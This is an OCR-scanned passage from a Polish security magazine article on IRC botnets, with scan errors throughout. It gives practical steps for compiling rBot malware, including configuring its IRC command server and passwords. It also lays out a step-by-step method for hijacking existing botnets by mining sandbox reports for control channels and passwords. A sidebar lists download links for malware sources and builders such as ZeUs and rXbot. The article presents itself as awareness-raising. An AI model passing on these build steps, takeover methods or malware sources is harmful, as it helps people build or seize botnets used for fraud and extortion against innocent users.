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Pierwszym krokiem jest instalacja
wymaganego srodowiska, a nastepnie
konfiguracja VC++ do korzystania z SDK,
co ogranicza sie do dodania wpisow (w
przypadku std. instalacji) typu:

CAPROGRAM FILES\MICROSOFT
PLATFORM SDK

C:\PROGRAM FILES\MICROSOFT
PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT
PLATFORM SDK\INCLUDE
CAPROGRAM FILES\MICROSOFRT
PLATFORM SDK\LIB

Do ustawien katalogow, z ktorych sq
pobierane (includowane) dodatkowe
biblioteki (patrz Rysunek 9). Kolejnym
krokiem jest wczytanie Srodowiska robota
i modyfikacja podstawowych parametrow.

char password[] = "Bot login _
pass";
char server[] =

"aenigma.gotd.org";

char serverpass[] = "";

char channel[] = "#botz channel";
char chanpass[] = "My channel _
pass";

char server2[] = "";

char channel2[] = "";

char chanpass2[] = "";

W przypadku rBota, Listing 1. prezentuje
inne opcje, dostepne z poziomu pliku
nagtowkowego configs.h. Finalnym krokiem
jest build catej aplikacji. W przypadku
popetnienia bleddw, kompilator poinformuje
0 miejscu ich wystgpienia, natomiast jesli
chodzi o zrodia rBot 76 sq czyste od
bledow tworcy, wiec proces buildowania
powinien zakonczy¢ sie bezbtednie. O
fakcie poprawnego stworzenia bota,
powinien poinformowa¢ nas antywirus (w
moim przypadku o zagrozeniu informuje
KIS 2009) (Rysunek 11). W taki sposob w 10
minut nie liczgce instalacii, kazdy scripts-
kiddlie potrafi tworzy¢ kolejne zagrozenia w
sieci, komentarz zostawiam Panstwu.

W jaki spos6b uproscic
problem propagaciji
malwaru?

Wydawatoby sie, ze wczesniej opisany
SpOsOb generowania botnetu jest na tyle



prosty, iz bardziej prosty by¢ nie moze. Nic
bardzie] mylnego. Najprostszg metoda,
najbardziej leniwg | rownie skuteczng, co
tworzenie wiasnego botnetu, jest zwykia
kradziez juz istniejgcego systemu. Jest

to proceder niezwykle popularny — w jaki
SposOb mozna to zrobic? Wedtug przepisu
w kilku krokach:

Po pierwsze nalezy odwiedzi¢ strone
nadzorujgcg w sposob automatyczny
zagrozenia w siecl, typu threat expert.
Nastepnie przeszukac raporty na hasta:
np. rbot, rxbot, sabot, irc, mybot, ircbot itd.
W raporcie, ktory prezentujq kolejne
rysunki, nalezy znalez¢ cechy
charakterystyczne dla interesujgcego
nas robota, np.:

€zas wykrycia,

wykorzystanie znanego nam

kanatu nadzorowania (IRC).

Zasoby w sieci:

ATAKI SOCJOTECHNICZNE

Czyli szukamy:
Zapisu: The following Host Names
were requested from a host
database.
Zapisu: Outbound traffic (potentially
malicious) * Attention! There was a
new connection established with a
remote IRC Server. The generated
outbound IRC traffic is provided below.
Przeszukanie komunikacji IRC pod
wzgledem: nazw kanatéw, nazw
uzytkownikow, komend, haset.

Co prezentuje Listing 2. oraz Rysunek 12,
na podstawie ktdrych jestesmy w stanie
okresli¢c migjsce zarzgdzania sieciq.

Podsumowanie

Jakim zagrozeniem sq botnety
kazdy juz powinien wiedzie¢, kazdy
miat jakie$ wyobrazenie catego

Osoby zainteresowane kodami zrodtowymi niektorych systeméw bot w celach edukacyjnych

mogq zapoznac¢ sig z poszczegodinymi zasobami:

Przyktadowe kody zrédtowe/binaria/buildery bot:

ZeUs — http://uploaded.to/file/lensyr (hasito archiwum - ,1”)

iM - http://rapidshare.com/files/269267861/IMBot4.rar

psyP proxy bot - http://rapidshare.com/files/201712880/psyproxy.rar
TsGh - http://rapidshare.de/files/47561515/TsGh Bot v3.rar.html
Ragebot - http://rapidshare.com/files/240500478/ragebot-

priv8.rar.html

rXbot - http://rapidshare.com/files/28549191/rx-asn-2-re-worked

v3.rar.html

procederu i funkcjonowania tych
systemow. Mam jedynie nadzieje, ze
naswietlajgce prostote tworzenia tego
typu systemow w sposob de facto
modularny (zainstaluj, zmien, skompiluj,
propaguj), a jednoczesnie tworzqc
pewne kompendium wiedzy na temat
tych systemow zbudowatem wiekszqg
Swiadomos¢ zagrozen, jakie czekajq w
bezdrozach sieci.

Nalezy mie¢ na wzgledzie, ze wszelkie
gtowne cele tworzenia i funkcjonowania
botnetdw, czy moéwimy tu o budowaniu
anonimowych sieci, podstuchiwaniu
i nadzorze stacji node, czy wrecz
wkraczamy na obszary przestepstw takich
jak oszustwa, spamming, wymuszenia,
fraudy bankowe i finansowe, to tylko
nieliczne z pomystow masterow takich
siecl. W kazdym z dzialan natomiast
pewnym jest che¢ osiqggniecia przez dang
0s0be korzysci, co jednoznacznie wigze
sie z czyjas stratg oraz uskutecznienia
dziatan majgeych na celu uniemozliwienie
wykrycia tych przestepstw.

Bartosz Kalinowski

Autor od wielu lat porusza sig w obszarze informatyki.
Swoje zainteresowania skupit gidwnie na zagadnieniach
i problematyce bezpieczenstwa teleinformatycznego, w
szczegolnosci w dziedzinie siecl oraz oprogramowania
sleciowego. Jest samoukiem pasjonatem. Swoje
hobby realizuje na calym $wiecie, zapewniajgc pomaoc
firnom oraz osobom prywatnym. Prowadzit szkolenia
dotyczqgce bezpieczenstwa, a takze realizowat projekty,
wdrozenia, audyty oraz testy, pracujac w zespotach
miedzynarodowych na rynku krajowym i zagranicznym,
gdzie nabywat praktyke | poszerzat umiejetnosci oraz
wiedze. Kontakt z autorem: bk@intraout.pl.
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